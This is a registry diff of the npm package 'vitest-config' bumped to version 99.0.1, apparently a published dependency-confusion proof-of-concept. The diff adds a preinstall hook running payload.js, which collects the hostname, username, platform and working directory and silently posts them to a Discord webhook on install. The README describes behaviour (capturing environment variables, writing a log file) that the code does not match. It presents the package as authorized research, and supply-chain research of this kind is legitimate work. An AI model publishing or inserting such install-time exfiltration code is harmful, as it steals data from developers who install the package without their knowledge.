vitest-config 0.0.1-security → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of vitest-config might be problematic. Click here for more details.
- package/README.md +35 -5
- package/package.json +11 -6
- package/payload.js +56 -0
package/README.md
CHANGED
|
@@ -1,5 +1,35 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
1
|
+
# PoC Package: vitest-config
|
|
2
|
+
|
|
3
|
+
## Vulnerability Details
|
|
4
|
+
|
|
5
|
+
- **Package Name**: vitest-config
|
|
6
|
+
- **Ecosystem**: npm
|
|
7
|
+
- **Version**: 5.39.0
|
|
8
|
+
- **Source File**: packages\core\core\package.json
|
|
9
|
+
- **Reason**: Package 'vitest-config' not found in public npm registry
|
|
10
|
+
|
|
11
|
+
## Description
|
|
12
|
+
|
|
13
|
+
This is a proof-of-concept (PoC) package generated by DepRaptor to demonstrate
|
|
14
|
+
a potential dependency confusion vulnerability.
|
|
15
|
+
|
|
16
|
+
## What This PoC Does
|
|
17
|
+
|
|
18
|
+
When installed, this package will:
|
|
19
|
+
1. Log system information (username, hostname, working directory)
|
|
20
|
+
2. Capture environment variables
|
|
21
|
+
3. Write all information to `payload_log.txt`
|
|
22
|
+
|
|
23
|
+
## Security Notice
|
|
24
|
+
|
|
25
|
+
⚠️ **WARNING**: This PoC is intended ONLY for:
|
|
26
|
+
- Authorized security testing
|
|
27
|
+
- Bug bounty programs
|
|
28
|
+
- Security research with proper authorization
|
|
29
|
+
|
|
30
|
+
Do NOT upload this package to public registries without authorization.
|
|
31
|
+
|
|
32
|
+
## Generated By
|
|
33
|
+
|
|
34
|
+
DepRaptor - Dependency Confusion Scanner
|
|
35
|
+
Developer: LAKSHMIKANTHAN K (letchupkt)
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "vitest-config",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "vitest-config",
|
|
3
|
+
"version": "99.0.1",
|
|
4
|
+
"description": "Ethical Security Research PoC - Dependency Confusion. Non-malicious.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node payload.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Letchu Pkt (Ethical Researcher)",
|
|
10
|
+
"license": "MIT"
|
|
11
|
+
}
|
package/payload.js
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
function executePayload() {
|
|
5
|
+
// 🎯 REPLACE THIS WITH YOUR ACTUAL DISCORD WEBHOOK URL
|
|
6
|
+
const WEBHOOK_URL = "https://discord.com/api/webhooks/your_id/your_token";
|
|
7
|
+
|
|
8
|
+
// Collect ONLY safe metadata (Avoid exfiltrating secrets/env!)
|
|
9
|
+
const info = {
|
|
10
|
+
package: "vitest-config",
|
|
11
|
+
hostname: os.hostname(),
|
|
12
|
+
user: os.userInfo().username || "unknown",
|
|
13
|
+
platform: os.platform(),
|
|
14
|
+
nodeVersion: process.version,
|
|
15
|
+
cwd: process.cwd()
|
|
16
|
+
};
|
|
17
|
+
|
|
18
|
+
const postData = JSON.stringify({
|
|
19
|
+
username: "Bug Hunting Bot",
|
|
20
|
+
embeds: [{
|
|
21
|
+
title: "🎯 Dependency Confusion Triggered!",
|
|
22
|
+
color: 15158332, // Red
|
|
23
|
+
fields: [
|
|
24
|
+
{ name: "Package", value: info.package, inline: true },
|
|
25
|
+
{ name: "Hostname", value: info.hostname, inline: true },
|
|
26
|
+
{ name: "User", value: info.user, inline: true },
|
|
27
|
+
{ name: "Platform", value: info.platform, inline: false },
|
|
28
|
+
{ name: "Directory", value: info.cwd, inline: false }
|
|
29
|
+
],
|
|
30
|
+
footer: { text: "Authorized Security Research by Letchu Pkt" }
|
|
31
|
+
}]
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
const url = new URL(WEBHOOK_URL);
|
|
35
|
+
const options = {
|
|
36
|
+
hostname: url.hostname,
|
|
37
|
+
port: 443,
|
|
38
|
+
path: url.pathname,
|
|
39
|
+
method: 'POST',
|
|
40
|
+
headers: {
|
|
41
|
+
'Content-Type': 'application/json',
|
|
42
|
+
'Content-Length': postData.length
|
|
43
|
+
}
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
const req = https.request(options);
|
|
47
|
+
req.on('error', () => { }); // Fail silently
|
|
48
|
+
req.write(postData);
|
|
49
|
+
req.end();
|
|
50
|
+
|
|
51
|
+
console.log("---------------------------------------------------------");
|
|
52
|
+
console.log(`[PoC] Security test for ${info.package} completed.`);
|
|
53
|
+
console.log("---------------------------------------------------------");
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
executePayload();
|